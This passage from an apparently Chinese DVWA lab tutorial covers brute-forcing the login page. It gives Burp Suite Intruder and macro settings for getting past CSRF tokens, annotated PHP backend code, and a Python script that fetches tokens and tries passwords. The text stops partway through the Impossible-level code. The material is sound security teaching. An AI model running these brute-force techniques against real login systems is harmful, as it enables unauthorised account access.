id="攻击步骤-1"><a href="#攻击步骤-1" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><p><strong>使用Burp Suite Intruder：</strong></p><p>Medium难度因为有2秒延迟，所以需要配置为单线程攻击。</p><p><strong>配置步骤（Burp Suite 2023版本）：</strong></p><ol><li><p><strong>基本步骤与Low难度相同</strong></p><ul><li>发送请求到Intruder</li><li>配置Positions（标记username和password）</li><li>配置Payloads（添加字典）</li></ul></li><li><p><strong>关键配置：在Settings标签中限制并发</strong></p><p>进入 <code>Intruder</code> → <code>Settings</code> 标签：</p><p><strong>方法A：使用Resource pool（如果你的版本有此选项）</strong></p><ul><li>找到 <code>Resource pool</code> 选项</li><li>点击 <code>Create new resource pool</code></li><li>设置 <code>Maximum concurrent requests: 1</code>（单线程）</li><li>原因：Medium有2秒延迟，多线程也需要等待，单线程更稳定</li></ul><p><strong>方法B：使用新版Burp Suite的Settings（2023及更新版本）</strong></p><p>如果你的Burp Suite没有Resource pool选项，使用以下配置：</p><ul><li>找到 <strong>“HTTP&#x2F;1 connection reuse”</strong> 部分</li><li>勾选 ✅ <code>Reuse HTTP/1 connections if the server supports it</code>（复用连接）</li><li>找到 <strong>“Redirections”</strong> 部分</li><li>根据需要设置重定向策略（通常选择 <code>Never</code>）</li><li>找到 <strong>“Error handling”</strong> 部分</li><li>设置 <code>Number of retries on network failure: 3</code></li><li>设置 <code>Pause before retry (milliseconds): 2000</code></li></ul><p><strong>重要说明：</strong></p><ul><li>Burp Suite 2023版本已经移除了单独的Resource pool配置</li><li>默认情况下，Burp会自动管理并发连接</li><li>由于Medium难度有2秒延迟，即使多线程，每个请求也会等待</li><li>因此不需要特别限制线程，Burp会自动优化</li></ul></li><li><p><strong>开始攻击</strong></p><ul><li>点击 <code>Start attack</code> 按钮</li><li>Burp会按顺序发送请求</li><li>每次失败会自动等待2秒（服务器端延迟）</li></ul></li></ol><p><strong>时间计算：</strong></p><ul><li>尝试100个密码 &#x3D; 200秒（约3分钟）</li><li>尝试1000个密码 &#x3D; 2000秒（约33分钟）</li></ul><p><strong>优化策略：</strong></p><ul><li>使用更精准的小字典</li><li>针对DVWA使用已知密码列表</li><li>晚上挂机运行</li></ul><p><strong>Burp Suite版本差异说明：</strong></p><table><thead><tr><th>功能</th><th>旧版本（2020及之前）</th><th>新版本（2023+）</th></tr></thead><tbody><tr><td>线程控制</td><td>Resource pool</td><td>自动管理</td></tr><tr><td>配置位置</td><td>Intruder → Options</td><td>Intruder → Settings</td></tr><tr><td>并发设置</td><td>Maximum concurrent requests</td><td>HTTP&#x2F;1 connection reuse</td></tr><tr><td>建议</td><td>手动设置为1</td><td>保持默认即可</td></tr></tbody></table><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了CSRF Token和随机延迟，难度大幅提升。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了登录请求</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Login&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：CSRF Token验证 ★★★</span></span><br><span class="line">    <span class="comment">// checkToken() - DVWA自定义函数，验证CSRF token</span></span><br><span class="line">    <span class="comment">// 原理：对比用户提交的token和服务器session中存储的token</span></span><br><span class="line">    <span class="comment">// $_REQUEST - 包含$_GET、$_POST、$_COOKIE的内容</span></span><br><span class="line">    <span class="comment">// $_SESSION - 会话变量，存储在服务器端</span></span><br><span class="line">    <span class="comment">// 作用：防止跨站请求伪造(CSRF)攻击</span></span><br><span class="line">    <span class="comment">// 如果token不匹配，会重定向到index.php</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取用户名</span></span><br><span class="line">    <span class="variable">$user</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;username&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：stripslashes()去除反斜杠 ★★★</span></span><br><span class="line">    <span class="comment">// stripslashes() - 删除由addslashes()或magic_quotes_gpc添加的反斜杠</span></span><br><span class="line">    <span class="comment">// 例如：\&#x27; 变成 &#x27;</span></span><br><span class="line">    <span class="comment">// 作用：清理输入数据</span></span><br><span class="line">    <span class="variable">$user</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$user</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// mysqli_real_escape_string转义</span></span><br><span class="line">    <span class="variable">$user</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$user</span> )</span><br><span class="line">        : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取密码并处理</span></span><br><span class="line">    <span class="variable">$pass</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;password&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass</span> );</span><br><span class="line">    <span class="variable">$pass</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass</span> )</span><br><span class="line">        : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$pass</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行SQL查询</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT * FROM `users` WHERE user = &#x27;<span class="subst">$user</span>&#x27; AND password = &#x27;<span class="subst">$pass</span>&#x27;;&quot;</span>;</span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysqli_query</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$query</span> )</span><br><span class="line">        <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . ((<span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_error</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>])</span><br><span class="line">        : ((<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_connect_error</span>()) ? <span class="variable">$___mysqli_res</span> : <span class="literal">false</span>)) . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查登录结果</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$result</span> &amp;&amp; <span class="title function_ invoke__">mysqli_num_rows</span>( <span class="variable">$result</span> ) == <span class="number">1</span> ) &#123;</span><br><span class="line">        <span class="comment">// 登录成功</span></span><br><span class="line">        <span class="variable">$row</span>    = <span class="title function_ invoke__">mysqli_fetch_assoc</span>( <span class="variable">$result</span> );</span><br><span class="line">        <span class="variable">$avatar</span> = <span class="variable">$row</span>[<span class="string">&quot;avatar&quot;</span>];</span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;p&gt;Welcome to the password protected area <span class="subst">&#123;$user&#125;</span>&lt;/p&gt;&quot;</span>;</span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;img src=\&quot;<span class="subst">&#123;$avatar&#125;</span>\&quot; /&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// ★★★ 新增：随机延迟0-3秒 ★★★</span></span><br><span class="line">        <span class="comment">// rand(0, 3) - 生成0到3之间的随机整数（包含0和3）</span></span><br><span class="line">        <span class="comment">// sleep(rand(0, 3)) - 随机暂停0、1、2或3秒</span></span><br><span class="line">        <span class="comment">// 作用：使攻击者无法预测延迟时间，增加自动化攻击难度</span></span><br><span class="line">        <span class="comment">// 平均延迟：1.5秒</span></span><br><span class="line">        <span class="title function_ invoke__">sleep</span>( <span class="title function_ invoke__">rand</span>( <span class="number">0</span>, <span class="number">3</span> ) );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 输出失败信息</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&quot;&lt;pre&gt;&lt;br /&gt;Username and/or password incorrect.&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 关闭数据库连接</span></span><br><span class="line">    ((<span class="title function_ invoke__">is_null</span>(<span class="variable">$___mysqli_res</span> = <span class="title function_ invoke__">mysqli_close</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))) ? <span class="literal">false</span> : <span class="variable">$___mysqli_res</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 生成新的CSRF Token ★★★</span></span><br><span class="line"><span class="comment">// generateSessionToken() - DVWA自定义函数</span></span><br><span class="line"><span class="comment">// 作用：为每次页面加载生成新的随机token</span></span><br><span class="line"><span class="comment">// 这个token会被嵌入HTML表单的hidden字段中</span></span><br><span class="line"><span class="comment">// 示例：&lt;input type=&#x27;hidden&#x27; name=&#x27;user_token&#x27; value=&#x27;abc123...&#x27;&gt;</span></span><br><span class="line"><span class="title function_ invoke__">generateSessionToken</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>CSRF Token验证</strong> - 每次请求需要有效token</li><li><strong>stripslashes()</strong> - 额外输入过滤</li><li><strong>随机延迟</strong> - 0-3秒随机延迟（平均1.5秒）</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><ol><li>仍使用GET请求</li><li>无账户锁定</li><li>Token可以被提取</li></ol><h3 id="攻击步骤-2"><a href="#攻击步骤-2" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><p>High难度的关键在于绕过CSRF Token验证。</p><h4 id="方法1：使用Burp-Suite的Macro功能"><a href="#方法1：使用Burp-Suite的Macro功能" class="headerlink" title="方法1：使用Burp Suite的Macro功能"></a>方法1：使用Burp Suite的Macro功能</h4><p><strong>步骤1：创建Macro获取Token</strong></p><ol><li>打开Burp Suite</li><li><code>Settings</code> → <code>Sessions</code> → <code>Session Handling Rules</code></li><li>点击 <code>Add</code></li><li>Rule Actions → <code>Add</code> → <code>Run a macro</code></li><li>点击 <code>Add</code> 创建新Macro：<ul><li>名称：Get CSRF Token</li><li>从Proxy History中选择访问brute force页面的GET请求</li><li>点击 <code>Configure item</code></li><li>添加Custom parameter location</li><li>Parameter name: <code>user_token</code></li><li>使用正则提取：<code>name=&#39;user_token&#39; value=&#39;([^&#39;]+)&#39;</code></li></ul></li></ol><p><strong>步骤2：配置Session Handling</strong></p><ol><li>在Rule中启用 “Update only the following parameters”</li><li>添加 <code>user_token</code></li><li>Scope → Include all URLs</li></ol><p><strong>步骤3：开始Intruder攻击</strong></p><p>现在每次请求前都会自动获取新的token。</p><h4 id="方法2：Python脚本自动获取Token"><a href="#方法2：Python脚本自动获取Token" class="headerlink" title="方法2：Python脚本自动获取Token"></a>方法2：Python脚本自动获取Token</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="comment"># 配置</span></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/brute/&quot;</span></span><br><span class="line">cookies = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;high&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;你的session&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">usernames = [<span class="string">&#x27;admin&#x27;</span>]</span><br><span class="line">passwords = [<span class="string">&#x27;password&#x27;</span>, <span class="string">&#x27;123456&#x27;</span>, <span class="string">&#x27;admin&#x27;</span>, <span class="string">&#x27;letmein&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_token</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;获取CSRF token&quot;&quot;&quot;</span></span><br><span class="line">    response = requests.get(url, cookies=cookies)</span><br><span class="line">    <span class="comment"># 使用正则表达式提取token</span></span><br><span class="line">    match = re.search(<span class="string">r&quot;name=&#x27;user_token&#x27; value=&#x27;([^&#x27;]+)&#x27;&quot;</span>, response.text)</span><br><span class="line">    <span class="keyword">if</span> match:</span><br><span class="line">        <span class="keyword">return</span> match.group(<span class="number">1</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 暴力破解</span></span><br><span class="line"><span class="keyword">for</span> user <span class="keyword">in</span> usernames:</span><br><span class="line">    <span class="keyword">for</span> passwd <span class="keyword">in</span> passwords:</span><br><span class="line">        <span class="comment"># 每次请求前获取新token</span></span><br><span class="line">        token = get_token()</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> token:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;[!] 无法获取token&quot;</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">        <span class="comment"># 构建请求参数（包含token）</span></span><br><span class="line">        params = &#123;</span><br><span class="line">            <span class="string">&#x27;username&#x27;</span>: user,</span><br><span class="line">            <span class="string">&#x27;password&#x27;</span>: passwd,</span><br><span class="line">            <span class="string">&#x27;Login&#x27;</span>: <span class="string">&#x27;Login&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;user_token&#x27;</span>: token</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 发送请求</span></span><br><span class="line">        response = requests.get(url, params=params, cookies=cookies)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 检查结果</span></span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Welcome to the password protected area&quot;</span> <span class="keyword">in</span> response.text:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[+] 成功！<span class="subst">&#123;user&#125;</span> / <span class="subst">&#123;passwd&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;[-] 失败: <span class="subst">&#123;user&#125;</span> / <span class="subst">&#123;passwd&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>几乎无法攻破的完善防护。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 改进1：使用POST方法并验证所有参数 ★★★</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否存在</span></span><br><span class="line"><span class="comment">// 同时检查Login、username、password三个参数</span></span><br><span class="line"><span class="comment">// 使用$_POST而不是$_GET，密码不会出现在URL中</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Login&#x27;</span> ] ) &amp;&amp; <span class="keyword">isset</span> (<span class="variable">$_POST</span>[<span class="string">&#x27;username&#x27;</span>]) &amp;&amp; <span class="keyword">isset</span> (<span class="variable">$_POST</span>[<span class="string">&#x27;password&#x27;</span>]) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ CSRF Token验证 ★★★</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取并处理用户名</span></span><br><span class="line">    <span class="variable">$user</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;username&#x27;</span> ];</span><br><span class="line">    <span class="variable">$user</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$user</span> );</span><br><span class="line">    <span class="variable">$user</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$user</span> )</span><br><span class="line">        : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取并处理密码</span></span><br><span class="line">    <span class="variable">$pass</span> = <span class="variable">$_POST</span>[ <span class="string">&#x27;password&#x27;</span> ];</span><br><span class="line">    <span class="variable">$pass</span> = <span class="title function_ invoke__">stripslashes</span>( <span class="variable">$pass</span> );</span><br><span class="line">    <span class="variable">$pass</span> = ((<span class="keyword">isset</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]) &amp;&amp; <span class="title function_ invoke__">is_object</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>]))</span><br><span class="line">        ? <span class="title function_ invoke__">mysqli_real_escape_string</span>(<span class="variable">$GLOBALS</span>[<span class="string">&quot;___mysqli_ston&quot;</span>],  <span class="variable">$pass</span> )</span><br><span class="line">        : ((<span class="title function_ invoke__">trigger_error</span>(<span class="string">&quot;[MySQLConverterToo] Fix the mysql_escape_string() call!&quot;</span>, E_USER_ERROR)) ? <span class="string">&quot;&quot;</span> : <span class="string">&quot;&quot;</span>));</span><br><span class="line">    <span class="variable">$pass</span> = <span class="title function_ invoke__">md5</span>( <span class="variable">$pass</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进2：账户锁定机制 - 配置参数 ★★★</span></span><br><span class="line">    <span class="comment">// 定义锁定相关常量</span></span><br><span class="line">    <span class="variable">$total_failed_login</span> = <span class="number">3</span>;    <span class="comment">// 最大失败次数：3次</span></span><br><span class="line">    <span class="variable">$lockout_time</span>       = <span class="number">15</span>;   <span class="comment">// 锁定时间：15分钟</span></span><br><span class="line">    <span class="variable">$account_locked</span>     = <span class="literal">false</span>; <span class="comment">// 账户锁定状态标志</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进3：使用PDO预编译语句 ★★★</span></span><br><span class="line">    <span class="comment">// $db - PDO数据库连接对象</span></span><br><span class="line">    <span class="comment">// prepare() - 准备一个SQL语句用于执行</span></span><br><span class="line">    <span class="comment">// :user - 命名参数占位符</span></span><br><span class="line">    <span class="comment">// LIMIT 1 - 限制只返回一行结果</span></span><br><span class="line">    <span class="comment">// 作用：查询该用户的失败登录次数和最后登录时间</span></span><br><span class="line">    <span class="variable">$data</span> = <span class="variable">$db</span>-&gt;<span class="title function_ invoke__">prepare</span>( <span class="string">&#x27;SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// bindParam() - 绑定参数到预编译语句</span></span><br><span class="line">    <span class="comment">// 参数1：占位符名称</span></span><br><span class="line">    <span class="comment">// 参数2：要绑定的变量</span></span><br><span class="line">    <span class="comment">// 参数3：参数数据类型（PDO::PARAM_STR表示字符串）</span></span><br><span class="line">    <span class="comment">// 作用：完全防止SQL注入，SQL和数据完全分离</span></span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">bindParam</span>( <span class="string">&#x27;:user&#x27;</span>, <span class="variable">$user</span>, PDO::<span class="variable constant_">PARAM_STR</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// execute() - 执行预编译语句</span></span><br><span class="line">    <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">execute</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// fetch() - 获取结果集的下一行</span></span><br><span class="line">    <span class="comment">// 返回关联数组，键名为列名</span></span><br><span class="line">    <span class="variable">$row</span> = <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">fetch</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进4：检查账户是否被锁定 ★★★</span></span><br><span class="line">    <span class="comment">// rowCount() - 返回受影响的行数</span></span><br><span class="line">    <span class="comment">// $row[ &#x27;failed_login&#x27; ] - 失败登录次数</span></span><br><span class="line">    <span class="comment">// 如果用户存在且失败次数&gt;=3次，检查是否在锁定期内</span></span><br><span class="line">    <span class="keyword">if</span>( ( <span class="variable">$data</span>-&gt;<span class="title function_ invoke__">rowCount</span>() == <span class="number">1</span> ) &amp;&amp; ( <span class="variable">$row</span>[ <span class="string">&#x27;failed_login&#x27;</span> ] &gt;= <span class="variable">$total_failed_login</span> ) )  &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算时间</span></span><br><span class="line">        <span class="comment">// strtotime() - 将任何英文文本日期时间描述解析为Unix时间戳</span></span><br><span class="line">        <span class="comment">// $row[ &#x27;last_login&#x27; ] - 数据库中的最后登录时间（字符串格式）</span></span><br><span class="line">        <span class="variable">$last_login</span> = <span class="title function_ invoke__">strtotime</span>( <span class="variable">$row</span>[ <span class="string">&#x27;last_login&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 计算锁定结束时间</span></span><br><span class="line">        <span 